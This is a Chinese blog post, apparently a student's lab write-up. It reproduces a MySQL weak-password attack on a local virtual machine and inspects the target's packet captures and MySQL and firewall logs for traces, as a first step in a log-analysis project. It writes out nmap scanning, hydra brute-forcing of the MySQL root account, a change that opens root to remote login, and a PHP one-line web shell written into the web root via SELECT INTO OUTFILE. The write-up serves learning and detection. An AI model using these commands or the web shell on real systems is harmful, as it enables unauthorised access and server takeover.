美文网首页一名脚本小子的进阶之路123hjg
APT攻击溯源项目学习一:从一次完整的漏洞复现,分析日志的异常

APT攻击溯源项目学习一:从一次完整的漏洞复现,分析日志的异常

作者: Your7Maxx | 来源:发表于2020-05-26 17:44 被阅读0次

    这篇博客并不算是什么正规的APT攻击采样分析的文章,最近加入了学校导师的项目组,导师要求先对一般的渗透攻击进行日志的异常分析。想起了之前做过的一次Mysql弱口令漏洞的复现和利用,作为日志分析学习的开头吧。

    一、漏洞简介和危害:

    MySQL 弱口令漏洞指 MySQL 数据库 root 账号对应的密码长度太短或者复杂度不够,如仅包含数字,或仅包含字母等。弱口令容易被暴力破解,一旦被恶意利用来登录系统,会导致数据泄露,如果得到了root权限登录mysql服务,则可以写入恶意文件,危害更大,本文就是以root身份远程登录mysql服务写入了一句话木马连接了菜刀。(但是在一般的企业里,是不会开启root权限远程登陆的,所以仅限于本次复现过程的学习)

    二、环境搭建:

    靶机上配置LAMP环境,弱口令mysql数据库。
    攻击端用到的工具有namp、hydra、菜刀等。
    (具体环境配置安装我就不介绍了,我之前做过该实验所以直接导入靶机镜像即可)

    首先我们得保证靶机和攻击端是可以相互ping通的:(网络都改为仅主机模式)


    image.png
    image.png

    (这边按照老师的要求,在另外两台虚拟机上进行ping命令的测试)


    image.png

    另一台虚拟机指定抓取主机ip为192.168.9.129,ens33网卡上的包。


    image.png
    可以看到包的内容,根据时间、ICMP协议可验证是上面虚拟机所执行的ping命令,本来这块按照要求是要在防火墙日志上去看的,但是无奈没找到日志文件,所以通过抓包的形式进行分析。

    接着,用nmap扫下靶机的3306端口,即mysql服务(这里靶机的mysql服务应该是关着的)

    nmap -Pn -p3306 192.168.56.101
    
    image.png

    同样在靶机上开一个tcpdump抓下流量包:


    image.png

    可以直观的看到结果,虽然结果并不是在日志文件中找的,但是也可以说明问题。

    然后开始修改下靶机mysql的配置(为了方便远程连接、写入一句话和爆破,可以忽略这部分的内容)。

    mysql -u root -p
    

    输入密码

    use mysql
    
    show variables like '%secure%';
    
    image.png

    修改配置文件:


    image.png

    可以成功写入:


    image.png

    接着,关掉靶机的防火墙,开下apache、mysql服务。


    image.png

    好了,环境差不多了,这里说明下靶机mysql的root用户的密码修改为12345678(符合弱密码的标准)。
    为了方便快速的看到结果,我们在攻击端生成带有root用户密码的字典(user.txt/pass.txt):


    image.png
    image.png

    接着再用nmap扫下目标靶机的3306端口:

    nmap -Pn -p3306 192.168.56.101
    

    此时目标靶机的端口是开着的:


    image.png

    接着利用hydra对目标靶机的mysql数据库用户名和口令进行爆破:

    hydra -L user.txt -P pass.txt 192.168.56.101 mysql 
    

    出现报错:


    image.png

    靶机拒绝连接,这时看下靶机的mysq日志:


    image.png
    出现了一系列Access denied的请求,这时推断应该是攻击端的连接请求被拒了。
    为了使实验继续进行下去,我们修改靶机的远程登陆允许权限(其实在真实场景里,这是不被允许的)
    root权限进入到mysql:
    select host from user
    
    image.png

    修改下规则:

    update user set host='%' where user='root'
    
    image.png

    再次在攻击端尝试爆破:


    image.png

    get successed。

    尝试远程登陆:


    image.png

    登陆成功。
    (这里其实要看下mysql的log情况的,我好像当时没找到远程登陆的痕迹?可能是我眼花了没看见,不过按常理是存在的)

    下面利用得到的靶机mysql的权限写入一句话:

    select '<?php @eval($_POST[123]);?>' into outfile '/var/www/html/fun.php';
    

    接着查看mysql的log文件:


    image.png

    可以发现这里有写入的痕迹。但是并没有指明对方ip。
    最后用AntSword连接下,就能getshell了。


    image.png

    到这里整个渗透过程差不多结束了。
    但是询问老师相关问题后,觉得自己对系统日志这块还是不太熟悉,所以在本机上修改了防火墙的配置文件,使得可以输出log信息,因为不了解windows防火墙的入站规则,所以在本机上用nmap扫本机的80端口(其实挺nt的),但是确实在防火墙log文件里发现了痕迹:


    image.png

    学到了学到了。

    本次复现过程,难易程度一般。与以往的漏洞复现不同的是,把重心更放在了对靶机的log文件的关注上,虽然出身红队,但是知己知彼那啥么。为以后的APT攻击溯源项目开个头吧。难得真正跟着导师做自己喜欢的事情。

    相关文章

      网友评论

        本文标题:APT攻击溯源项目学习一:从一次完整的漏洞复现,分析日志的异常

        本文链接:https://www.haomeiwen.com/subject/wtqvahtx.html